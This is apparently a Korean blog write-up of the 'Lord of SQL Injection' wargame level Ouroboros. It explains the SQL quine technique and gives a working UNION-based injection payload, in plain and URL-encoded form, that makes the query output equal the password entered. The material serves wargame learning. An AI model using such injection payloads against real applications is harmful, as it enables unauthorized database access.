-
|Lord of SQL_injection| #30 OuroborosWargame Site/SQL injection 2019. 4. 8. 13:58
이제 세 문제 정도 남았다.
입력한 pw 와 질의결과 pw 가 같아야한다는 문제이다.
pw 의 결과가 감지되면 다음과 같은 결과가 출력된다.
출력된 결과와 파라미터의 값이 같아야한다.
하지만, 다음과 같은 명백한 문장의 경우 아무런 출력결과가 나오지않았고,
어쩌면 pw 의 값이 처음부터 존재하지 않았을 것 같다는 예감이 들었다,
결국에는 Google 의 힘을 빌렸다.
그 결과 replace 를 활용하여 입력값과 출력값을 같게해주는 'QUINE' 이라는 구문을 발견했다.
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine
다음과 같은 값을 넘겨줄 경우 입력값과 출력결과를 같게 만들어 줄 수 있다.
이러한 특성을 이용해서 다음과 같은 쿼리를 만들어 보았다.
' union SELECT REPLACE(REPLACE('" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine#',CHAR(34),CHAR(39)),CHAR(36),'" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine#') AS Quine#
아래는 이러한 쿼리를 만들어 주기위한 코드이다.
%27%20union%20SELECT%20REPLACE(REPLACE(%27"%20union%20SELECT%20REPLACE(REPLACE("$",CHAR(34),
CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27,CHAR(34),CHAR(39)),CHAR(36),%27"%20union%20SELECT%20
REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27)%20AS%20Quine%23
QUINE 이라는 신박한 문법을 다루어보았다.
외우기보다 필요할 때마다 사용해야겠다.
'Wargame Site > SQL injection' 카테고리의 다른 글
|Lord of SQL_injection| #32 Alien (0) 2019.04.08 |Lord of SQL_injection| #31 Zombie (0) 2019.04.08 |Lord of SQL_injection| #29 Phantom (0) 2019.03.15 아는 동생의 SOS (0) 2019.03.08 |Lord of SQL_injection| #28 Frankenstein (0) 2019.03.05 댓글